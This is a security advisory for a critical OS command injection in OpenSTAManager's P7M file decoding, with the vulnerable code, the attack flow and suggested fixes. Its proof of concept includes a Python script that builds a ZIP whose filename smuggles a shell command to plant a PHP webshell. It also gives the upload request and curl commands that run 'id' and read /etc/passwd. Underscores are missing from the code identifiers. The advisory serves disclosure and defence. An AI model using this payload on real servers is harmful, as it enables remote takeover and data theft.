PT-2026-6844 · Packagist · Devcode-It/Openstamanager

Published

2026-02-06

·

Updated

2026-02-06

CVSS v4.0

9.4

Critical

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.

Vulnerable Code

File: src/Util/XML.php:100
public static function decodeP7M($file)
{
  $directory = pathinfo($file, PATHINFO DIRNAME);
  $content = file get contents($file);

  $output file = $directory.'/'.basename($file, '.p7m');

  try {
    if (function exists('exec')) {
      // VULNERABLE - No input sanitization!
      exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output file.'"', $output, $cmd);
The Problem:
  • The $file parameter is passed directly into exec() without sanitization
  • Although wrapped in double quotes, an attacker can escape them
  • The filename comes from uploaded ZIP archives (user-controlled)

Attack Vector

Entry Points:

  1. plugins/importFE ZIP/actions.php:126 (when automatic import is enabled)
foreach ($files xml as $xml) {
  if (string ends with($xml, '.p7m')) {
    $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
  1. plugins/importFE/src/FatturaElettronica.php:56 (constructor)
if (string ends with($name, '.p7m')) {
  $file = XML::decodeP7M($this->file); // $name from user input!

Attack Flow:

  1. Attacker creates ZIP with malicious filename
  2. Upload ZIP via importFE ZIP plugin
  3. Application extracts ZIP and iterates files
  4. For .p7m files, decodeP7M() is called
  5. Malicious filename is injected into exec() command
  6. Arbitrary command executes as web server user

Proof of Concept

⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.

Step 1: Create Malicious ZIP

import zipfile

cmd = "cd files && echo '<?php system($ GET["c"]); ?>' > SHELL.php"
malicious filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
  zf.writestr(malicious filename, b"DUMMY P7M CONTENT")

Step 2: Upload ZIP

POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

Step 3: Exploitation Result

Response (500 error is expected - XML parsing fails AFTER command execution):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verification - Webshell Created:
image

Step 4: Remote Code Execution

Webshell is publicly accessible without authentication:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

Impact

  • Remote Code Execution: Full server compromise
  • Data Exfiltration: Access to all application data and database
  • Privilege Escalation: Potential escalation if web server runs with elevated privileges
  • Persistence: Install backdoors and maintain access
  • Lateral Movement: Pivot to other systems on the network

Prerequisites

  • Authenticated user with access to invoice import functionality

Remediation

Input Sanitization

public static function decodeP7M($file)
{
  // Validate that file path doesn't contain shell metacharacters
  if (preg match('/[;&|`$(){}[]<>]/', $file)) {
    throw new Exception('Invalid file path');
  }

  // Better: use escapeshellarg()
  $safe file = escapeshellarg($file);
  $safe output = escapeshellarg($output file);

  exec("openssl smime -verify -noverify -in $safe file -inform DER -out $safe output", $output, $cmd);
}
or

Validate Filename Before Processing

// In the upload handler, validate filenames from ZIP
foreach ($files xml as $xml) {
  // Only allow alphanumeric, dots, dashes, underscores
  if (!preg match('/^[a-zA-Z0-9. -]+$/', $xml)) {
    continue; // Skip invalid filenames
  }

  if (string ends with($xml, '.p7m')) {
    $file = XML::decodeP7M($directory.'/'.$xml);
  }
}

Credit

Discovered by: Łukasz Rybak

Fix

OS Command Injection

Weakness Enumeration

Related Identifiers

GHSA-25FP-8W8P-MX36

Affected Products

Devcode-It/Openstamanager